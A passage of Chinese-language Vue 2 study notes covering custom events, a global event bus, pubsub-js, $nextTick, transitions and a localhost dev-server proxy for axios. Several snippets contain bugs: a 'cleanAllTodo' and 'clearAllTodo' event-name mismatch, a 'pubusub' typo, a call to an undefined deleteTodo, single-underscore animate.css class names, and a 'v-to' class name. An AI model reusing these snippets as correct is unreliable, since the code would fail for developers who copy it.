    <button @click="death">销毁当前Student组件的实例(vc)</button>
  </div>
</template>

<script>
  export default {
    name:'Student',
    data(){
        return {
            name:'玛卡巴卡',
            sex:'男',
            number:0
        }
    },
    methods:{
      add(){
        console.log('add回调被调用了');
         this.number++
      },
      sendStudentName(){
        //触发Student组件实例身上的xixi事件
        this.$emit('xixi',this.name,666,888,999)
        this.$emit('demo')
      },
      unbind(){
        // this.$off('xixi')  //只使用于解绑一个自定义事件
        this.$off(['xixi','demo'])  //解绑多个自定义事件
        // this.$off()  //解绑所有的自定义事件
      },
      death(){
        this.$destroy()   //销毁了当前的Student组件的实例,销毁后所有Student实例的自定义事件都不奏效了 
      }
    
    }

   }
</script>

<style lang="less" scoped>
   .student{
    background-color: pink;
    padding:5px;
    margin-top: 30px;
   }
</style>

 效果:

 9.3 使用自定义事件优化Todo-List

  • src/App.vue
    <template>
        <div id="root">
            <div class="todo-container">
                <div class="todo-wrap">
                    <!-- 第一个addTodo是事件名,后面的addTodo是回调名 -->
                    <MyHeader @addTodo="addTodo"/>
                    <MyList :todos="todos" :checkTodo="checkTodo" :deleteTodo="deleteTodo"/>
                    <MyFooter :todos="todos" @checkAllTodo='checkAllTodo' @clearAllTodo='clearAllTodo'/>
                </div>
            </div>
        </div>
    </template>
    
    <script>
    //汇总所有的组件(
    import MyHeader from './components/MyHeader.vue'
    import MyList from './components/MyList.vue'
    import MyFooter from './components/MyFooter.vue'
    
    export default {
        name: 'App',
        components: { MyHeader,MyList,MyFooter},
        data(){
            return {
                todos:JSON.parse(localStorage.getItem('todos')) || []
            }
        },
        methods:{
            //添加一个todo
            addTodo(todoObj){
                this.todos.unshift(todoObj)
            },
            //勾选or取消选择一个todo
            checkTodo(id){
                this.todos.forEach((todo)=> {
                    if(todo.id == id) todo.done = !todo.done
                })
            },
    
            //删除一个todo
            deleteTodo(id){
            //因为filter不改变原有数组,所以重新过滤后赋值,产生新的数组
              this.todos = this.todos.filter((todo) => {
                 return todo.id !== id
              })    
            },
    
            //全选or取消全选
            checkAllTodo(done){
              this.todos.forEach((todo)=> {
                todo.done = done
              })
            },
    
            //清除所有已完成的todo
            clearAllTodo(){
                this.todos = this.todos.filter((todo)=>{
                    return !todo.done
                })
            }
    
        },
        watch:{
            todos:{
                deep:true,
                handler(value){
                    localStorage.setItem('todos',JSON.stringify(value))
                }
            }
        }
    
    }
    </script>
    
    <style>
        /*base*/
        body {
            background: #fff;
        }
    
        .btn {
            display: inline-block;
            padding: 4px 12px;
            margin-bottom: 0;
            font-size: 14px;
            line-height: 20px;
            text-align: center;
            vertical-align: middle;
            cursor: pointer;
            box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
            border-radius: 4px;
        }
    
        .btn-danger {
            color: #fff;
            background-color: #da4f49;
            border: 1px solid #bd362f;
        }
    
        .btn-danger:hover {
            color: #fff;
            background-color: #bd362f;
        }
    
        .btn:focus {
            outline: none;
        }
    
        .todo-container {
            width: 600px;
            margin: 0 auto;
        }
    
        .todo-container .todo-wrap {
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 5px;
        }
    </style>
  • src/MyHeader.vue
    <template>
        <div class="todo-header">
            <input type="text" placeholder="请输入你的任务名称,按回车键确认" v-model="title" @keyup.enter='add'/>
        </div>
    </template>
    
    <script>
    import {nanoid} from "nanoid"
    export default {
        name: 'MyHeader',
        data(){
            return {
                title:''
            }
        },
        methods:{
            add(){
              //校验数据
              if(!this.title.trim()) return alert('输入不能为空')
              //将用户的输入包装成一个todo对象
              const todoObj = {id:nanoid(),title:this.title,done:false}
              //通知App组件添加一个todo对象
              this.$emit('addTodo',todoObj)
              //清空输入
              this.title =''
            }
        }
     
    
    
    }
    </script>
    
    <style scoped>
        /*header*/
        .todo-header input {
            width: 560px;
            height: 28px;
            font-size: 14px;
            border: 1px solid #ccc;
            border-radius: 4px;
            padding: 4px 7px;
        }
    
        .todo-header input:focus {
            outline: none;
            border-color: rgba(82, 168, 236, 0.8);
            box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);
        }
    </style>
  • src/MyFooter.vue
    <template>
        <div class="todo-footer" v-show="total">
            <label>
                <input type="checkbox" v-model="isAll"/>
            </label>
            <span>
                <span>已完成{{doneTotal}}</span> / 全部{{total}}
            </span>
            <button class="btn btn-danger" @click="clearAll">清除已完成任务</button>
        </div>
    </template>
    
    <script>
        export default {
            name:'MyFooter',
            props:['todos'],
            computed:{
                doneTotal(){
                    return this.todos.reduce((pre,todo)=> pre + (todo.done ? 1 : 0) ,0)
                },
                total(){
                    return this.todos.length
                },
                isAll:{
                    get(){
                        return this.total === this.doneTotal && this.total > 0
                    },
                    set(value){
                        // this.checkAllTodo(value)
                        this.$emit('checkAllTodo',value)
                    }
                }
            },
            methods:{
                clearAll(){
                    // this.clearAllTodo()
                    this.$emit('cleanAllTodo')
                }
            }
        }
    </script>
    
    <style scoped>
        .todo-footer {
            height: 40px;
            line-height: 40px;
            padding-left: 6px;
            margin-top: 5px;
            }
    
        .todo-footer label {
            display: inline-block;
            margin-right: 20px;
            cursor: pointer;
        }
    
        .todo-footer label input {
            position: relative;
            top: -1px;
            vertical-align: middle;
            margin-right: 5px;
        }
    
        .todo-footer button {
            float: right;
            margin-top: 5px;
        }
    </style>
    

10、全局事件总线(GlobalEventBus)

全局事件总线是一种可以在任意组件间通信的方式,本质上就是一个对象。它必须满足以下条件:

① 所有的组件对象都必须能看见他

② 这个对象必须能够使用$on$emit$off方法去绑定、触发和解绑事件

10.1 安装全局事件总线

new Vue({
   	...
   	beforeCreate() {
   		Vue.prototype.$bus = this //安装全局事件总线,$bus就是当前应用的vm
   	},
    ...
}) 

10.2 使用事件总线

① 接受数据:A组件想接收数据,则在A组件中给$bus绑定自定义事件,事件的回调留在A组件自身

export default {
    methods(){
        demo(data){...}
    }
    ...
    mounted() {
        this.$bus.$on('xxx',this.demo)
    }
}

② 提供数据:this.$bus.$emit(‘xxx’,data)

③ 最好在beforeDestroy钩子中,用$off去解绑当前组件所用到的事件

  •  src/main.js
//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//关闭Vue的生产提示
Vue.config.productionTip = false


//创建vm
new Vue({
    el:'#app',
    render : h => h(App),
    beforeCreate() {
        Vue.prototype.$bus = this  //安装全局事件总线
    },
})
  • src/App.vue
    <template>
        <div class="app">
            <h1>{{msg}}</h1>
            <School/>
            <Student/>
        </div>
        </template>
        
        <script>
        //汇总所有的组件(引入School组件)
        import School from './components/School.vue'
        import Student from './components/Student.vue'
       
        export default {
            name:'App',
            components:{School,Student},
            data(){
                return {
                    msg:'你好啊~~~~'
                }
            }
        }
        </script>
    
        <style scoped>
            .app {
                background-color: gray;
                padding:5px;
            }
        </style>
        
  • src/components/School.vue
    <template>
      <div class="school">
        <h2>学校姓名:{{name}}</h2>
        <h2>学生地址:{{address}}</h2>
      </div>
    </template>
      
    <script>
    export default {
      name: 'School',
      data() {
        return {
          name: '北京大学',
          address: '北京'
        }
      },
      mounted() {
        // console.log('School',this.x);
        this.$bus.$on('hello', (data) => {
          console.log('我是School组件,收到了数据', data);
        })
      },
      beforeDestroy() {
        this.$bus.$off('hello')
      }
    }
    </script>
      
    <style scoped>
    .school {
      background-color: skyblue;
      padding: 5px;
    }
    </style>
  • src/components/Student.vue
    <template>
      <div class="student">
        <h2 >学生姓名:{{name}}</h2>
        <h2>学生性别:{{sex}}</h2>
        <button @click="sendStudentName">把学生名给School组件</button>
      </div>
    </template>
    
    <script>
    
      export default {
        name:'Student',
        data(){
            return {
                name:'玛卡巴卡',
                sex:'男',
            }
        },
        methods:{
          sendStudentName(){
            this.$bus.$emit('hello',this.name)
          }
        }
      }
    </script>
    
    <style lang="less" scoped>
       .student{
        background-color: pink;
        padding:5px;
        margin-top: 30px;
       }
    </style>

    效果:

 10.3 使用自定义事件优化Todo-List

  • src/main.js
    //引入Vue
    import Vue from 'vue'
    //引入App
    import App from './App.vue'
    //关闭Vue的生产提示
    Vue.config.productionTip = false
    
    
    //创建vm
    new Vue({
        el:'#app',
        render : h => h(App),
        beforeCreate(){
            Vue.prototype.$bus = this
        }
       
    })
  • src/App.vue
    <template>
        <div id="root">
            <div class="todo-container">
                <div class="todo-wrap">
                    <!-- 第一个addTodo是事件名,后面的addTodo是回调名 -->
                    <MyHeader @addTodo="addTodo" />
                    <MyList :todos="todos" />
                    <MyFooter :todos="todos" @checkAllTodo='checkAllTodo' @clearAllTodo='clearAllTodo' />
                </div>
            </div>
        </div>
    </template>
    
    <script>
    //汇总所有的组件(
    import MyHeader from './components/MyHeader.vue'
    import MyList from './components/MyList.vue'
    import MyFooter from './components/MyFooter.vue'
    
    export default {
        name: 'App',
        components: { MyHeader, MyList, MyFooter },
        data() {
            return {
                todos: JSON.parse(localStorage.getItem('todos')) || []
            }
        },
        methods: {
            //添加一个todo
            addTodo(todoObj) {
                this.todos.unshift(todoObj)
            },
            //勾选or取消选择一个todo
            checkTodo(id) {
                this.todos.forEach((todo) => {
                    if (todo.id == id) todo.done = !todo.done
                })
            },
    
            //删除一个todo
            deleteTodo(id) {
                //因为filter不改变原有数组,所以重新过滤后赋值,产生新的数组
                this.todos = this.todos.filter((todo) => {
                    return todo.id !== id
                })
            },
    
            //全选or取消全选
            checkAllTodo(done) {
                this.todos.forEach((todo) => {
                    todo.done = done
                })
            },
    
            //清除所有已完成的todo
            clearAllTodo() {
                this.todos = this.todos.filter((todo) => {
                    return !todo.done
                })
            }
    
        },
        watch: {
            todos: {
                deep: true,
                handler(value) {
                    localStorage.setItem('todos', JSON.stringify(value))
                }
            }
        },
        mounted() {
            this.$bus.$on('checkTodo', this.checkTodo)
            this.$bus.$on('deleteTodo', this.deleteTodo)
        },
        beforeDestroy() {
            this.$bus.$off('checkTodo')
            this.$bus.$off('deleteTodo')
        }
    
    }
    </script>
    
    <style>
    /*base*/
    body {
        background: #fff;
    }
    
    .btn {
        display: inline-block;
        padding: 4px 12px;
        margin-bottom: 0;
        font-size: 14px;
        line-height: 20px;
        text-align: center;
        vertical-align: middle;
        cursor: pointer;
        box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
        border-radius: 4px;
    }
    
    .btn-danger {
        color: #fff;
        background-color: #da4f49;
        border: 1px solid #bd362f;
    }
    
    .btn-danger:hover {
        color: #fff;
        background-color: #bd362f;
    }
    
    .btn:focus {
        outline: none;
    }
    
    .todo-container {
        width: 600px;
        margin: 0 auto;
    }
    
    .todo-container .todo-wrap {
        padding: 10px;
        border: 1px solid #ddd;
        border-radius: 5px;
    }
    </style>
  • src/components/MyList.vue
    <template>
        <ul class="todo-main">
            <MyItem 
            v-for="todoObj in todos"
            :key="todoObj.id" 
            :todo='todoObj'
            />
        </ul>
    </template>
    
    <script>
    import MyItem from './MyItem.vue'
    
    
    export default {
        name: 'MyList',
        components: { MyItem },
        props:['todos']
    }
    </script>
    
    <style scoped>
    /*main*/
    .todo-main {
        margin-left: 0px;
        border: 1px solid #ddd;
        border-radius: 2px;
        padding: 0px;
    }
    
    .todo-empty {
        height: 40px;
        line-height: 40px;
        border: 1px solid #ddd;
        border-radius: 2px;
        padding-left: 5px;
        margin-top: 10px;
    }
    </style>
  • src/components/MyItem.vue
    <template>
        <li>
            <label>
                <input type="checkbox" :checked='todo.done' @click='handleCheck(todo.id)'/>
                <span>{{todo.title}}</span>
            </label>
            <button class="btn btn-danger" @click="handleDelete(todo.id,todo.title )">删除</button>
        </li>
    </template>
    
    <script>
    export default {
        name: 'MyItem',
        props:['todo'],
        methods:{
            handleCheck(id){
              //勾选or取消勾选n
              //通知App组件将对应的todo对象的done值取反
              //this.checkTodo(id)
              this.$bus.$emit('checkTodo',id)
            },
            handleDelete(id,title){
             if(confirm("确认删除任务"+title+"吗?")){
                this.deleteTodo(id)
                this.$bus.$emit('deleteTodo',id)
             }
            }
        }
    }
    </script>
    
    <style scoped>
    /*item*/
    li {
        list-style: none;
        height: 36px;
        line-height: 36px;
        padding: 0 5px;
        border-bottom: 1px solid #ddd;
    }
    
    li label {
        float: left;
        cursor: pointer;
    }
    
    li label li input {
        vertical-align: middle;
        margin-right: 6px;
        position: relative;
        top: -1px;
    }
    
    li button {
        float: right;
        display: none;
        margin-top: 3px;
    }
    
    li:before {
        content: initial;
    }
    
    li:last-child {
        border-bottom: none;
    }
    
    li:hover button{
        display:block;
    }
    </style>

11、消息的订阅与发布

(1)消息订阅与发布是一种组件间通信的方式,适用于任意组件间通信

(2)使用步骤:

        ① 安装pubsub:npm i pubsub-js

        ② 引入:import pubsub from 'pubsub-js'

(3)接受数据:A组件想接受数据,则在A组件中订阅消息,订阅的回调留在A组件自身

export default {
    methods(){
        demo(data){...}
    }
    ...
    mounted() {
		this.pid = pubsub.subscribe('xxx',this.demo)
    }
}

(4)提供数据:pubsub.publish(‘xxx’,data)

(5)最好在beforeDestroy钩子中,使用pubsub.unsubscribe(pid)取消订阅

使用消息的订阅与发布优化Todo-List

  • src/App.vue
    <template>
        <div id="root">
            <div class="todo-container">
                <div class="todo-wrap">
                    <!-- 第一个addTodo是事件名,后面的addTodo是回调名 -->
                    <MyHeader @addTodo="addTodo" />
                    <MyList :todos="todos" />
                    <MyFooter :todos="todos" @checkAllTodo='checkAllTodo' @clearAllTodo='clearAllTodo' />
                </div>
            </div>
        </div>
    </template>
    
    <script>
    import pubsub from 'pubsub-js'
    //汇总所有的组件(
    import MyHeader from './components/MyHeader.vue'
    import MyList from './components/MyList.vue'
    import MyFooter from './components/MyFooter.vue'
    
    export default {
        name: 'App',
        components: { MyHeader, MyList, MyFooter },
        data() {
            return {
                todos: JSON.parse(localStorage.getItem('todos')) || []
            }
        },
        methods: {
            //添加一个todo
            addTodo(todoObj) {
                this.todos.unshift(todoObj)
            },
            //勾选or取消选择一个todo
            checkTodo(id) {
                this.todos.forEach((todo) => {
                    if (todo.id == id) todo.done = !todo.done
                })
            },
    
            //删除一个todo
            //用下划线占位
            deleteTodo(_,id) {
                //因为filter不改变原有数组,所以重新过滤后赋值,产生新的数组
                this.todos = this.todos.filter((todo) => {
                    return todo.id !== id
                })
            },
    
            //全选or取消全选
            checkAllTodo(done) {
                this.todos.forEach((todo) => {
                    todo.done = done
                })
            },
    
            //清除所有已完成的todo
            clearAllTodo() {
                this.todos = this.todos.filter((todo) => {
                    return !todo.done
                })
            }
    
        },
        watch: {
            todos: {
                deep: true,
                handler(value) {
                    localStorage.setItem('todos', JSON.stringify(value))
                }
            }
        },
        mounted() {
            this.$bus.$on('checkTodo', this.checkTodo)
            this.pubId = pubsub.subscribe('deleteTodo',this.deleteTodo)
        },
        beforeDestroy() {
            this.$bus.$off('checkTodo')
            pubusub.unsubscribe(this.pubId)
        }
    
    }
    </script>
    
    <style>
    /*base*/
    body {
        background: #fff;
    }
    
    .btn {
        display: inline-block;
        padding: 4px 12px;
        margin-bottom: 0;
        font-size: 14px;
        line-height: 20px;
        text-align: center;
        vertical-align: middle;
        cursor: pointer;
        box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
        border-radius: 4px;
    }
    
    .btn-danger {
        color: #fff;
        background-color: #da4f49;
        border: 1px solid #bd362f;
    }
    
    .btn-danger:hover {
        color: #fff;
        background-color: #bd362f;
    }
    
    .btn:focus {
        outline: none;
    }
    
    .todo-container {
        width: 600px;
        margin: 0 auto;
    }
    
    .todo-container .todo-wrap {
        padding: 10px;
        border: 1px solid #ddd;
        border-radius: 5px;
    }
    </style>
  • src/components/MyItem.vue
<template>
    <li>
        <label>
            <input type="checkbox" :checked='todo.done' @click='handleCheck(todo.id)'/>
            <span>{{todo.title}}</span>
        </label>
        <button class="btn btn-danger" @click="handleDelete(todo.id,todo.title )">删除</button>
    </li>
</template>

<script>
import pubsub from 'pubsub-js'
export default {
    name: 'MyItem',
    props:['todo'],
    methods:{
        handleCheck(id){
          //勾选or取消勾选n
          //通知App组件将对应的todo对象的done值取反
          //this.checkTodo(id)
          this.$bus.$emit('checkTodo',id)
        },
        handleDelete(id,title){
         if(confirm("确认删除任务"+title+"吗?")){
            // this.deleteTodo(id)
            // this.$bus.$emit('deleteTodo',id)
            pubsub.publish('deleteTodo',id)
         }
        }
    }
}
</script>

<style scoped>
/*item*/
li {
    list-style: none;
    height: 36px;
    line-height: 36px;
    padding: 0 5px;
    border-bottom: 1px solid #ddd;
}

li label {
    float: left;
    cursor: pointer;
}

li label li input {
    vertical-align: middle;
    margin-right: 6px;
    position: relative;
    top: -1px;
}

li button {
    float: right;
    display: none;
    margin-top: 3px;
}

li:before {
    content: initial;
}

li:last-child {
    border-bottom: none;
}

li:hover button{
    display:block;
}
</style>

12、$nextTick

$nextTick(回调函数)可以将回调延迟到下次DOM更新循环之后执行

(1)语法:this.$nextTick(回调函数)

(2)作用:在下一次DOM更新结束后执行其指定的回调

(3)什么时候用:当改变数据后,要基于更新后的新DOM进行某些操作时,要在nextTick所指定的回调函数中执行

使用$nextTick优化Todo-List

  • src/App.vue
    <template>
        <div id="root">
            <div class="todo-container">
                <div class="todo-wrap">
                    <!-- 第一个addTodo是事件名,后面的addTodo是回调名 -->
                    <MyHeader @addTodo="addTodo" />
                    <MyList :todos="todos" />
                    <MyFooter :todos="todos" @checkAllTodo='checkAllTodo' @clearAllTodo='clearAllTodo' />
                </div>
            </div>
        </div>
    </template>
    
    <script>
    import pubsub from 'pubsub-js'
    //汇总所有的组件(
    import MyHeader from './components/MyHeader.vue'
    import MyList from './components/MyList.vue'
    import MyFooter from './components/MyFooter.vue'
    
    export default {
        name: 'App',
        components: { MyHeader, MyList, MyFooter },
        data() {
            return {
                todos: JSON.parse(localStorage.getItem('todos')) || []
            }
        },
        methods: {
            //添加一个todo
            addTodo(todoObj) {
                this.todos.unshift(todoObj)
            },
            //勾选or取消选择一个todo
            checkTodo(id) {
                this.todos.forEach((todo) => {
                    if (todo.id == id) todo.done = !todo.done
                })
            },
            //更新一个todo
            updateTodo(id,title) {
                this.todos.forEach((todo) => {
                    if (todo.id == id) todo.title = title
                })
            },
    
            //删除一个todo
            //用下划线占位
            deleteTodo(_,id) {
                //因为filter不改变原有数组,所以重新过滤后赋值,产生新的数组
                this.todos = this.todos.filter((todo) => {
                    return todo.id !== id
                })
            },
    
            //全选or取消全选
            checkAllTodo(done) {
                this.todos.forEach((todo) => {
                    todo.done = done
                })
            },
    
            //清除所有已完成的todo
            clearAllTodo() {
                this.todos = this.todos.filter((todo) => {
                    return !todo.done
                })
            }
    
        },
        watch: {
            todos: {
                deep: true,
                handler(value) {
                    localStorage.setItem('todos', JSON.stringify(value))
                }
            }
        },
        mounted() {
            this.pubId = pubsub.subscribe('deleteTodo',this.deleteTodo)
            this.$bus.$on('checkTodo', this.checkTodo)
            this.$bus.$on('updateTodo', this.updateTodo)
        },
        beforeDestroy() {
            pubsub.unsubscribe(this.pubId)
            this.$bus.$off('checkTodo')
            this.$bus.$off('updateTodo')
        }
    
    }
    </script>
    
    <style>
    /*base*/
    body {
        background: #fff;
    }
    
    .btn {
        display: inline-block;
        padding: 4px 12px;
        margin-bottom: 0;
        font-size: 14px;
        line-height: 20px;
        text-align: center;
        vertical-align: middle;
        cursor: pointer;
        box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
        border-radius: 4px;
    }
    
    .btn-danger {
        color: #fff;
        background-color: #da4f49;
        border: 1px solid #bd362f;
    }
    
    .btn-edit {
        color: #fff;
        background-color: skyblue;
        border: 1px solid rgb(80, 173, 209);
        margin-right : 5px;
    }
    
    .btn-danger:hover {
        color: #fff;
        background-color: #bd362f;
    }
    
    .btn:focus {
        outline: none;
    }
    
    .todo-container {
        width: 600px;
        margin: 0 auto;
    }
    
    .todo-container .todo-wrap {
        padding: 10px;
        border: 1px solid #ddd;
        border-radius: 5px;
    }
    </style>
  • src/components/MyItem.vue
    <template>
        <li>
            <label>
                <input type="checkbox" :checked='todo.done' @click='handleCheck(todo.id)'/>
                <span v-show="!todo.isEdit">{{todo.title}}</span>
                <input 
                type="text" 
                v-show="todo.isEdit" 
                :value="todo.title"
                @blur="handleBlur(todo,$event)" 
                ref="inputTitle"
                >
            </label>
                <button class="btn btn-danger" @click="handleDelete(todo.id,todo.title )">删除</button>
                <button class="btn btn-edit"  v-show="!todo.isEdit" @click="handleEdit(todo)">编辑</button>
        </li>
    </template>
    
    <script>
    import pubsub from 'pubsub-js'
    export default {
        name: 'MyItem',
        props:['todo'],
        methods:{
            handleCheck(id){
              //勾选or取消勾选
              //通知App组件将对应的todo对象的done值取反
              //   this.checkTodo(id)
              this.$bus.$emit('checkTodo',id)
            },
            handleDelete(id,title){
             if(confirm("确认删除任务"+title+"吗?")){
                // this.deleteTodo(id)
                // this.$bus.$emit('deleteTodo',id)
                pubsub.publish('deleteTodo',id)
             }
            },
            handleEdit(todo){
                //如果todo自身有isEdit属性就将isEdit改成true
                if(todo.hasOwnProperty('isEdit')){
                    todo.isEdit = true
                }else{
                    //如果没有就向todo中添加一个响应式的isEdit属性并设置为true
                    this.$set(todo,'isEdit',true)
                }
          
                //当Vue重新编译模板之后执行$nextTick()中的回调函数
                this.$nextTick(function(){
                    //使input框获取焦点
                    this.$refs.inputTitle.focus()
                })
            },
            //当input框失去焦点时更新
            handleBlur(todo,event){
                todo.isEdit = false
                if(!event.target.value.trim()) return alert('输入不能为空!')
                this.$bus.$emit('updateTodo',todo.id,event.target.value)
            }
        }
    }
    </script>
    
    <style scoped>
    /*item*/
    li {
        list-style: none;
        height: 36px;
        line-height: 36px;
        padding: 0 5px;
        border-bottom: 1px solid #ddd;
    }
    
    li label {
        float: left;
        cursor: pointer;
    }
    
    li label li input {
        vertical-align: middle;
        margin-right: 6px;
        position: relative;
        top: -1px;
    }
    
    li button {
        float: right;
        display: none;
        margin-top: 3px;
    }
    
    li:before {
        content: initial;
    }
    
    li:last-child {
        border-bottom: none;
    }
    
    li:hover button{
        display:block;
    }
    </style>

13、过渡与动画

(1)作用

         在插入、更新或移除DOM元素时,在合适的时候给元素添加样式类名。

(2)图示

(3)写法

 ① 准备好样式

  • 元素进入的样式

        v-enter:进入的起点

        v-enter-active:进入过程中

        v-to:进入的终点

  • 元素离开的样式:

      v-leave:离开的起点

      v-leave-active:离开过程中

      v-leave-to:离开的终点

② 使用<transition>包裹要过渡的元素,并配置name属性:

<transition name="hello">
	<h1 v-show="isShow">你好啊!</h1>
</transition>

③ 备注:若有多个元素需要过渡,则需要使用:<transition-group> ,且每个元素都要指定key值

  •  src/App.vue
    <template>
       <div>
        <MyAnimation/>
        <MyTransition/>
        <MyTransitionGroup/>
        <ThirdPartAnimation/>>
       </div>
    </template>
    
    <script>
    //汇总所有的组件(
    import MyAnimation from './components/MyAnimation.vue'
    import MyTransition from './components/MyTransition.vue'
    import MyTransitionGroup from './components/MyTransitionGroup.vue'
    import ThirdPartAnimation from './components/ThirdPartAnimation.vue'
    export default {
        name: 'App',
        components: {MyAnimation,MyTransition,MyTransitionGroup,ThirdPartAnimation}
        
    }
    </script>
    
    
    
  • src/components/MyAnimation.vue
    <template>
      <div>
        <button @click="isShow = !isShow">显示/隐藏</button>
        <transition name="hello" appear>
            <h1 v-show="isShow">你好啊!</h1>
        </transition>
      </div>
    </template>
    
    <script>
    export default {
      name:'MyAnimation',
      data(){
        return {
          isShow:true
        }
      }
    }
    </script>
    
    <style scoped>
       h1{
        background-color: pink;
       }
       .hello-enter-active {
        animation: xixi 1s linear;
       }
       .hello-leave-active {
        animation: xixi 1s  linear reverse;
        }
    
       @keyframes xixi {
        from {
            transform: translateX(-100%);
        }
        to {
            transform: translateX(0px);
        }
       }
    </style>
  • src/components/MyTransition.vue
    <template>
        <div>
          <button @click="isShow = !isShow">显示/隐藏</button>
          <transition name="hello" appear>
              <h1 v-show="isShow">你好啊!</h1>
          </transition>
        </div>
      </template>
      
      <script>
      export default {
        name:'MyTransition',
        data(){
          return {
            isShow:true
          }
        }
      }
      </script>
      
      <style scoped>
         h1{
          background-color: gray;
          /* transition: 1s linear; */
         }
    
         /* 进入的起点=离开的终点 */
         /* 离开的起点=进入的终点 */
    
         /* 进入的起点 离开的终点*/
         .hello-enter,.hello-leave-to{
          transform: translateX(-100%);
         }
         .hello-enter-active,.hello-leave-active {
            transition: 1s linear
         }
    
         /* 进入的终点 离开的起点*/
         .hello-enter-to,.hello-leave{
            transform: translateX(0);
          }
    
      
      </style>
  • src/components/MyTransitionGroup.vue
    <template>
        <div>
          <button @click="isShow = !isShow">显示/隐藏</button>
          <transition name="hello" appear>
              <h1 v-show="isShow">你好啊!</h1>
          </transition>
        </div>
      </template>
      
      <script>
      export default {
        name:'MyTransition',
        data(){
          return {
            isShow:true
          }
        }
      }
      </script>
      
      <style scoped>
         h1{
          background-color: gray;
          /* transition: 1s linear; */
         }
    
         /* 进入的起点=离开的终点 */
         /* 离开的起点=进入的终点 */
    
         /* 进入的起点 离开的终点*/
         .hello-enter,.hello-leave-to{
          transform: translateX(-100%);
         }
         .hello-enter-active,.hello-leave-active {
            transition: 1s linear
         }
    
         /* 进入的终点 离开的起点*/
         .hello-enter-to,.hello-leave{
            transform: translateX(0);
          }
    
      
      </style>
  • src/components/ThirdPartAnimation.vue
    <template>
        <div>
          <button @click="isShow = !isShow">显示/隐藏</button>
          <transition-group
          appear 
          name="animate_animated animate_bounce" 
          enter-active-class="animate_backInUp"
          leave-active-class="animate_backOutUp"
          >
              <h1 v-show="isShow" key="1">你好啊!</h1>
              <h1 v-show="isShow" key="2">晚安啊!</h1>
          </transition-group>
        </div>
      </template>
      
      <script>
      import 'animate.css'
      export default {
        name:'ThirdPartAnimation',
        data(){
          return {
            isShow:true
          }
        }
      }
      </script>
      
      <style scoped>
         h1{
          background-color: skyblue;
         }
    
      
      </style>

使用动画优化Todo-List:

  • src/components/MyList.vue
    <template>
        <ul class="todo-main">
         <transition-group name="todo" appear>
            <MyItem 
            v-for="todoObj in todos"
            :key="todoObj.id" 
            :todo='todoObj'
            />
         </transition-group>
        </ul>
    </template>
    
    <script>
    import MyItem from './MyItem.vue'
    
    
    export default {
        name: 'MyList',
        components: { MyItem },
        props:['todos']
    }
    </script>
    
    <style scoped>
    /*main*/
    .todo-main {
        margin-left: 0px;
        border: 1px solid #ddd;
        border-radius: 2px;
        padding: 0px;
    }
    
    .todo-empty {
        height: 40px;
        line-height: 40px;
        border: 1px solid #ddd;
        border-radius: 2px;
        padding-left: 5px;
        margin-top: 10px;
    }
    .todo-enter-active {
    animation: xixi 1s linear;
    }
    .todo-leave-active {
    animation: xixi 1s linear reverse ;
    
    }
    @keyframes xixi {
        from{
         transform: translateX(100%);
        }
        to {
        transform: translateX(0px);
        }
    }
    </style>

六、Vue中的Ajax

1、Vue脚手架配置代理

本案例需要下载axios库:npm install axios

 (1)方法一:在vue.config.js中添加如下配置:

devServer:{
    proxy:"http://localhost:5000"
}

 说明:① 优点:配置简单,请求资源时直接发给前端即可

            ② 缺点:不能配置多个代理,不能灵活的控制请求是否走代理

            ③ 工作方式:若按照上述配置代理,当请求了前端不存在的资源时,那么该请求会转发给服务器(优先匹配前端资源

(2)方法二:

devServer: {
    proxy: {
      	'/api1': { // 匹配所有以 '/api1'开头的请求路径
        	target: 'http://localhost:5000',// 代理目标的基础路径
        	changeOrigin: true,
        	pathRewrite: {'^/api1': ''}
      	},
      	'/api2': { // 匹配所有以 '/api2'开头的请求路径
        	target: 'http://localhost:5001',// 代理目标的基础路径
        	changeOrigin: true,
        	pathRewrite: {'^/api2': ''}
      	}
    }
}

// changeOrigin设置为true时,服务器收到的请求头中的host为:localhost:5000
// changeOrigin设置为false时,服务器收到的请求头中的host为:localhost:8080

说明:① 优点:可以配置多个代理,且可以灵活的控制请求是否走代理

           ② 缺点:配置略微繁琐,请求资源时必须加前缀

  •  vue.config.js
const { defineConfig } = require('@vue/cli-service')
module.exports = defineConfig({
  transpileDependencies: true,
  lintOnSave:false,   //关闭语法检查
  pages: {
    index: {
      entry: 'src/main.js',
    }
  },
  //开启代理服务器(方式一)
  // devServer:{
  //   proxy:'http://localhost:5000'
  // }

  //开启代理服务器(方式二)
  devServer:{
    proxy:{
      '/xixi': {
        target:'http://localhost:5000',
        pathRewrite:{'^/xixi':''},  
        ws:true, //用于支持websocket,默认值为true
        changeOrigin:true  //用于控制请求头中的host值,默认值为true
      },
      '/haha': {
        target:'http://localhost:5001',
        pathRewrite:{'^/haha':''},  
        ws:true, //用于支持websocket,默认值为true
        changeOrigin:true  //用于控制请求头中的host值,默认值为true
      },
    }
  }
})
  •  src/App.vue
<template>
    <div>
        <button @click="getStudents">获取学生信息</button>
        <button @click="getCars">获取骑车信息</button>
    </div>
</template>

<script>
//引入
import axios from 'axios'
export default {
    name: 'App',
    methods: {
        getStudents() {
            axios.get('http://localhost:8081/xixi/students').then(
                response => {
                    console.log('请求成功了',response.data);
                },
                error => {
                    console.log('请求失败了',error.message);

                }
            )
        },
        getCars() {
            axios.get('http://localhost:8081/haha/cars').then(
                response => {
                    console.log('请求成功了',response.data);
                },
                error => {
                    console.log('请求失败了',error.message);

                }
            )
        }
    }
}

</script>

 效果:

2、GitHub用户搜索案例

  • public/index.html
    <!DOCTYPE html>
    <html lang="">
      <head>
        <meta charset="utf-8">
        <!-- 针对IE浏览器的一个特殊配置,含义是让IE浏览器以最高的渲染级别渲染页面 -->
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <!-- 开启移动端的理想视口 -->
        <meta name="viewport" content="width=device-width,initial-scale=1.0">
       <!--  配置页签图标 -->
